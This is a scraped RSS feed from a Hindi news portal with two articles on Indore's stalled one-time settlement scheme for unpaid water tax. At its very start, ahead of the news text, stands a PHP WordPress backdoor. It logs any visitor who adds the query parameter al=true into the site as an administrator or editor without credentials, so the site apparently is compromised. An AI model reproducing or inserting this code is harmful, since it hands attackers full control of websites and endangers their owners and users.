// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); water tax – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 19 Jul 2024 22:45:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 नगर निगम की बकाया जलकर वसूलने के लिए प्रस्तावित वन टाइम सेटलमेंट योजना फिलहाल अटकी https://pratyushaashakinayikiran.com/?p=52933 Fri, 19 Jul 2024 22:45:00 +0000 https://pratyushaashakinayikiran.com/?p=52933 इंदौर
शासन की अनुमति के अभाव में नगर निगम की बकाया जलकर वसूलने के लिए प्रस्तावित वन टाइम सेटलमेंट योजना फिलहाल अटक गई है। इधर योजना लागू होने का इंतजार कर रहे उपभोक्ता जल कर ही जमा नहीं कर रहे हैं। उन्हें उम्मीद है कि आज नहीं तो कल शासन इस योजना को स्वीकृति दे ही देगा और फिर वे बकाया जलकर की 50 प्रतिशत राशि जमा कर अपना खाता नियमित करवा लेंगे। इस पूरी कवायद में नुकसान इंदौर नगर निगम का हो रहा है। न उसे नियमित जलकर मिल रहा है न बकाया जलकर वसूलने के लिए प्रस्तावित की गई योजना का लाभ।
 
अब तक जमीन पर नहीं उतरी योजना
नगर निगम की वन टाइम सेटलमेंट योजना के तहत नल कनेक्शनधारी उपभोक्ताओं को यह सुविधा देने का प्रस्ताव है कि वे वर्ष 2022-23 तक के बकाया जलकर का 50 प्रतिशत (आधा) जलकर एक मुश्त जमा कर वर्ष 2023-24 से अपना खाता नियमित करवा सकते हैं। इस योजना के तहत नगर निगम को शहर से 100 करोड़ रुपये जमा होने की उम्मीद है। इस योजना को 5 फरवरी 2024 से शुरू किया जाना था, लेकिन यह अब तक जमीन पर नहीं उतर सकी। दरअसल निगम ने अपनी तरफ से इस योजना का प्रस्ताव शासन को भेज दिया था, लेकिन लोकसभा चुनाव के चलते इसे स्वीकृति नहीं मिल सकी थी। चुनाव के बाद निगम को उम्मीद थी कि योजना को शासन से हरी झंडी मिल जाएगा, लेकिन अब तक ऐसा नहीं हो सका है।

बकाया 50 प्रतिशत पर अटकी है बात
इंदौर में हजारों नल कनेक्शनधारी उपभोक्ता ऐसे हैं जो जलकर ही जमा नहीं कर रहे हैं। निगम द्वारा ऐसे उपभोक्ताओं से बकाया जलकर वसूलने के लिए ही यह योजना प्रस्तावित की गई थी। योजना के तहत बकाया कर का पचास प्रतिशत उपभोक्ता से लेकर और पचास प्रतिशत की मदद शासन से ली जाना थी। शासन से अनुमति नहीं मिलने का अर्थ है कि शासन ने फिलहाल 50 प्रतिशत बकायाकर की राशि देने को हरी झंडी नहीं दी है।

लोक अदालत में भी नजर आया असर
वन टाइम सेटलमेंट योजना को स्वीकृति नहीं मिलने का असर हाल ही में आयोजित नगर निगम की लोक अदालत में भी देखने को मिला था। निगम के अधिकारियों को उम्मीद थी कि लोक अदालत में जलकर के रूप में कम से कम तीन करोड़ रुपये वसूल हो जाएंगे, लेकिन ऐसा नहीं हुआ और जलकर का आंकड़ा 30 लाख के आसपास ही अटक गया।

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शहरवासियों को जलकर में आचार संहिता हटने के बाद मिल सकता है फायदा https://pratyushaashakinayikiran.com/?p=34118 Sat, 25 May 2024 15:55:00 +0000 https://pratyushaashakinayikiran.com/?p=34118  इंदौर
 आचार संहिता की वजह से अटकी नगर निगम की वन टाइम सेटलमेंट योजना आचार संहिता हटने के तुरंत बाद लागू हो सकती है। नगर निगम इस योजना के माध्यम से जलकर के बकायादारों को बड़ी राहत देने जा रहा है। बकायादार बकाया राशि की पचास प्रतिशत राशि जमा कर अपने जलकर खाते को नियमित करवा सकेंगे। यह राशि उन्हें एक मुश्त जमा कराना होगी।

योजना के माध्यम से नगर निगम ने 100 करोड़ रुपये जलकर वसूलने का लक्ष्य रखा है। इस योजना को आचार संहिता से पहले ही लागू किया जाना था। नगर निगम ने इसका प्रस्ताव राज्य शासन को भेज भी दिया था। नगरीय प्रशासन मंत्री कैलाश विजयवर्गीय ने मौखिक रूप से प्रस्ताव पर स्वीकृति भी दे दी थी, लेकिन दस्तावेज इंदौर पहुंचते इसके पहले ही आचार संहिता लागू गई और योजना अटक गई। अब 4 जून को आचार संहिता समाप्त होते ही इसे लागू करने की कवायद शुरू हो जाएगी।
शासन देगा 50 प्रतिशत राशि

इंदौर शहर में हजारों कनेक्शनधारी उपभोक्ता ऐसे हैं जिन्होंने वर्षों से जलकर ही जमा नहीं करवाया है। निगम द्वारा ऐसे उपभोक्ताओं से बकाया जलकर वसूलने के लिए ही यह योजना प्रस्तावित की गई है। इसके तहत बकाया जलकर की पचास प्रतिशत राशि उपभोक्ता से और पचास प्रतिशत की मदद राज्य शासन से ली जाना थी। शासन से अनुमति मिलने का अर्थ होगा कि शासन ने अपने हिस्से की 50 प्रतिशत बकायाकर की राशि देने को हरी झंडी दी है। शेष 50 प्रतिशत राशि नगर निगम को उपभोक्ताओं से वसूलना होगी।

निगम के अधिकारियों के मुताबिक योजना को हरी झंडी मिलने के बाद इस संबंध में मुहिम चलाई जाएगी। इसके बावजूद जो उपभोक्ता बकाया जलकर खाता नियमित नहीं करवाएंगे उनके खिलाफ कार्रवाई की जाएगी।

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